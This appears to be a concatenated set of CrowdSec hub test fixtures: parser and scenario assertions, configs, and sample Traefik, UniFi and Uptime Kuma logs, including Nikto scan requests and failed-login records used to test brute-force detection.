results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request_duration_in_ms"] == "357313" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time_local"] == "2021-12-08T14:02:43Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "traefik_json.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/594VAEoi.save" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-12-08T14:02:43Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["dest_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":358,\"DownstreamStatus\":200,\"Duration\":564849,\"OriginContentSize\":358,\"OriginDuration\":539617,\"OriginStatus\":200,\"Overhead\":25232,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":191,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.local\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.589545005Z\",\"StartUTC\":\"2021-12-08T14:02:43.589545005Z\",\"downstream_Content-Length\":\"358\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"358\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time_local"] == "2021-12-08T14:02:43Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/594VAEoi.local" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["body_bytes_sent"] == "358" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request_addr"] == "test.docker.localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request_duration_in_ms"] == "564849" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["service_addr"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "traefik_json.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/594VAEoi.local" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-12-08T14:02:43Z" len(results["s02-enrich"]["crowdsecurity/http-logs"]) == 2 results["s02-enrich"]["crowdsecurity/http-logs"][0].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["dest_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_frag"] == "594VAEoi" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["body_bytes_sent"] == "357" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request_duration_in_ms"] == "357313" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["service_addr"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_ext"] == ".save" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_name"] == "594VAEoi.save" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":357,\"DownstreamStatus\":200,\"Duration\":357313,\"OriginContentSize\":357,\"OriginDuration\":324669,\"OriginStatus\":200,\"Overhead\":32644,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":190,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.save\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.587782192Z\",\"StartUTC\":\"2021-12-08T14:02:43.587782192Z\",\"downstream_Content-Length\":\"357\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"357\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request"] == "/594VAEoi.save" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request_addr"] == "test.docker.localhost" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["time_local"] == "2021-12-08T14:02:43Z" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_path"] == "/594VAEoi.save" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_path"] == "traefik_json.log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_args_len"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Enriched["MarshaledTime"] == "2021-12-08T14:02:43Z" results["s02-enrich"]["crowdsecurity/http-logs"][1].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["request"] == "/594VAEoi.local" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["request_addr"] == "test.docker.localhost" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["request_duration_in_ms"] == "564849" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["traefik_router_name"] == "test@docker" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["message"] == "{\"ClientAddr\":\"172.17.0.1:39496\",\"ClientHost\":\"172.17.0.1\",\"ClientPort\":\"39496\",\"ClientUsername\":\"-\",\"DownstreamContentSize\":358,\"DownstreamStatus\":200,\"Duration\":564849,\"OriginContentSize\":358,\"OriginDuration\":539617,\"OriginStatus\":200,\"Overhead\":25232,\"RequestAddr\":\"test.docker.localhost\",\"RequestContentSize\":0,\"RequestCount\":191,\"RequestHost\":\"test.docker.localhost\",\"RequestMethod\":\"GET\",\"RequestPath\":\"/594VAEoi.local\",\"RequestPort\":\"-\",\"RequestProtocol\":\"HTTP/1.1\",\"RequestScheme\":\"http\",\"RetryAttempts\":0,\"RouterName\":\"test@docker\",\"ServiceAddr\":\"172.17.0.3:80\",\"ServiceName\":\"test@docker\",\"ServiceURL\":{\"Scheme\":\"http\",\"Opaque\":\"\",\"User\":null,\"Host\":\"172.17.0.3:80\",\"Path\":\"\",\"RawPath\":\"\",\"ForceQuery\":false,\"RawQuery\":\"\",\"Fragment\":\"\",\"RawFragment\":\"\"},\"StartLocal\":\"2021-12-08T14:02:43.589545005Z\",\"StartUTC\":\"2021-12-08T14:02:43.589545005Z\",\"downstream_Content-Length\":\"358\",\"downstream_Content-Type\":\"text/plain; charset=utf-8\",\"downstream_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"entryPointName\":\"http\",\"level\":\"info\",\"msg\":\"\",\"origin_Content-Length\":\"358\",\"origin_Content-Type\":\"text/plain; charset=utf-8\",\"origin_Date\":\"Wed, 08 Dec 2021 14:02:43 GMT\",\"request_Connection\":\"Keep-Alive\",\"request_User-Agent\":\"Nikto\",\"request_X-Forwarded-Host\":\"test.docker.localhost\",\"request_X-Forwarded-Port\":\"80\",\"request_X-Forwarded-Proto\":\"http\",\"request_X-Forwarded-Server\":\"8f4adf27f2ad\",\"request_X-Real-Ip\":\"172.17.0.1\",\"time\":\"2021-12-08T14:02:43Z\"}" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["service_addr"] == "172.17.0.3" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_ext"] == ".local" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["remote_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["body_bytes_sent"] == "358" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_frag"] == "594VAEoi" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_name"] == "594VAEoi.local" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_user_agent"] == "Nikto" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["program"] == "traefik" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["time_local"] == "2021-12-08T14:02:43Z" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["dest_addr"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_args_len"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_path"] == "/594VAEoi.local" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_path"] == "traefik_json.log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Enriched["MarshaledTime"] == "2021-12-08T14:02:43Z" hub1/.tests/traefik_json/scenario.assert000066400000000000000000000000001437532772500206460ustar00rootroot00000000000000hub1/.tests/traefik_json/traefik_json.log000066400000000000000000000055351437532772500210230ustar00rootroot00000000000000{"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":357,"DownstreamStatus":200,"Duration":357313,"OriginContentSize":357,"OriginDuration":324669,"OriginStatus":200,"Overhead":32644,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":190,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.save","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.587782192Z","StartUTC":"2021-12-08T14:02:43.587782192Z","downstream_Content-Length":"357","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"357","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} {"ClientAddr":"172.17.0.1:39496","ClientHost":"172.17.0.1","ClientPort":"39496","ClientUsername":"-","DownstreamContentSize":358,"DownstreamStatus":200,"Duration":564849,"OriginContentSize":358,"OriginDuration":539617,"OriginStatus":200,"Overhead":25232,"RequestAddr":"test.docker.localhost","RequestContentSize":0,"RequestCount":191,"RequestHost":"test.docker.localhost","RequestMethod":"GET","RequestPath":"/594VAEoi.local","RequestPort":"-","RequestProtocol":"HTTP/1.1","RequestScheme":"http","RetryAttempts":0,"RouterName":"test@docker","ServiceAddr":"172.17.0.3:80","ServiceName":"test@docker","ServiceURL":{"Scheme":"http","Opaque":"","User":null,"Host":"172.17.0.3:80","Path":"","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":""},"StartLocal":"2021-12-08T14:02:43.589545005Z","StartUTC":"2021-12-08T14:02:43.589545005Z","downstream_Content-Length":"358","downstream_Content-Type":"text/plain; charset=utf-8","downstream_Date":"Wed, 08 Dec 2021 14:02:43 GMT","entryPointName":"http","level":"info","msg":"","origin_Content-Length":"358","origin_Content-Type":"text/plain; charset=utf-8","origin_Date":"Wed, 08 Dec 2021 14:02:43 GMT","request_Connection":"Keep-Alive","request_User-Agent":"Nikto","request_X-Forwarded-Host":"test.docker.localhost","request_X-Forwarded-Port":"80","request_X-Forwarded-Proto":"http","request_X-Forwarded-Server":"8f4adf27f2ad","request_X-Real-Ip":"172.17.0.1","time":"2021-12-08T14:02:43Z"} hub1/.tests/unifi-logs/000077500000000000000000000000001437532772500152305ustar00rootroot00000000000000hub1/.tests/unifi-logs/config.yaml000066400000000000000000000002451437532772500173620ustar00rootroot00000000000000parsers: - ./parsers/s00-raw/crowdsecurity/unifi-logs.yaml - crowdsecurity/dateparse-enrich log_file: unifi-logs.log log_type: unifi labels: {} ignore_parsers: falsehub1/.tests/unifi-logs/parser.assert000066400000000000000000000077541437532772500177640ustar00rootroot00000000000000len(results["s00-raw"]["crowdsecurity/unifi-logs"]) == 2 results["s00-raw"]["crowdsecurity/unifi-logs"][0].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["timestamp"] == "May 24 14:39:35" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["message"] == "[2070485.251422] IN=eth9 OUT= MAC= SRC=1.1.1.1 DST=255.255.255.255 LEN=32 TOS=0x00 PREC=0x00 TTL=64 ID=33017 DF PROTO=UDP SPT=58134 DPT=10001 LEN=12" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Parsed["program"] == "kernel" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Meta["datasource_path"] == "unifi-logs.log" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["message"] == "Child connection from 127.0.0.1:47682" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["pid"] == "21080" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["timestamp"] == "May 24 14:39:35" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Meta["datasource_path"] == "unifi-logs.log" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "kernel" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "May 24 14:39:35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[2070485.251422] IN=eth9 OUT= MAC= SRC=1.1.1.1 DST=255.255.255.255 LEN=32 TOS=0x00 PREC=0x00 TTL=64 ID=33017 DF PROTO=UDP SPT=58134 DPT=10001 LEN=12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"][4:] == "-05-24T14:39:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "unifi-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-05-24T14:39:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "May 24 14:39:35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "Child connection from 127.0.0.1:47682" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "21080" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "unifi-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"][4:] == "-05-24T14:39:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-05-24T14:39:35Z" hub1/.tests/unifi-logs/unifi-logs.log000066400000000000000000000004731437532772500200130ustar00rootroot00000000000000May 24 14:39:35 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 kernel: [2070485.251422] IN=eth9 OUT= MAC= SRC=1.1.1.1 DST=255.255.255.255 LEN=32 TOS=0x00 PREC=0x00 TTL=64 ID=33017 DF PROTO=UDP SPT=58134 DPT=10001 LEN=12 May 24 14:39:35 UDMPRO,a2edd0c6ae48,udm-1.10.0.3686 dropbear[21080]: Child connection from 127.0.0.1:47682hub1/.tests/uptime-kuma-bf/000077500000000000000000000000001437532772500157775ustar00rootroot00000000000000hub1/.tests/uptime-kuma-bf/config.yaml000066400000000000000000000004401437532772500201260ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/timokoessler/uptime-kuma-logs.yaml scenarios: - ./scenarios/timokoessler/uptime-kuma-bf.yaml postoverflows: - "" log_file: uptime-kuma-bf.log log_type: uptime-kuma labels: {} ignore_parsers: true hub1/.tests/uptime-kuma-bf/parser.assert000066400000000000000000000000001437532772500205040ustar00rootroot00000000000000hub1/.tests/uptime-kuma-bf/scenario.assert000066400000000000000000000072031437532772500210270ustar00rootroot00000000000000len(results) == 1 "1.1.1.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[0].Overflow.Sources["1.1.1.1"].Range == "" results[0].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[0].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "uptime-kuma-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "uptime_kuma_failed_password" results[0].Overflow.Alert.Events[0].GetMeta("service") == "uptime-kuma" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-25T15:08:29.098Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "Test" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "uptime-kuma-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "uptime_kuma_failed_password" results[0].Overflow.Alert.Events[1].GetMeta("service") == "uptime-kuma" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-04-25T15:08:30.12Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "Admin" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "uptime-kuma-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "uptime_kuma_failed_password" results[0].Overflow.Alert.Events[2].GetMeta("service") == "uptime-kuma" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-04-25T15:08:32.31Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "Admin" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "uptime-kuma-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "uptime_kuma_failed_password" results[0].Overflow.Alert.Events[3].GetMeta("service") == "uptime-kuma" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-04-25T15:08:35.298Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "Admin" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "uptime-kuma-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "uptime_kuma_failed_totp" results[0].Overflow.Alert.Events[4].GetMeta("service") == "uptime-kuma" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-04-25T15:08:37.45Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "Admin" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "uptime-kuma-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "uptime_kuma_failed_totp" results[0].Overflow.Alert.Events[5].GetMeta("service") == "uptime-kuma" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-04-25T15:08:42.237Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "Admin" results[0].Overflow.Alert.GetScenario() == "timokoessler/uptime-kuma-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/uptime-kuma-bf/uptime-kuma-bf.log000066400000000000000000000010561437532772500213270ustar00rootroot000000000000002022-04-25T15:08:29.098Z [AUTH] WARN: Incorrect username or password for user Test. IP=1.1.1.1 2022-04-25T15:08:30.120Z [AUTH] WARN: Incorrect username or password for user Admin. IP=1.1.1.1 2022-04-25T15:08:32.310Z [AUTH] WARN: Incorrect username or password for user Admin. IP=1.1.1.1 2022-04-25T15:08:35.298Z [AUTH] WARN: Incorrect username or password for user Admin. IP=1.1.1.1 2022-04-25T15:08:37.450Z [AUTH] WARN: Invalid token provided for user Admin. IP=1.1.1.1 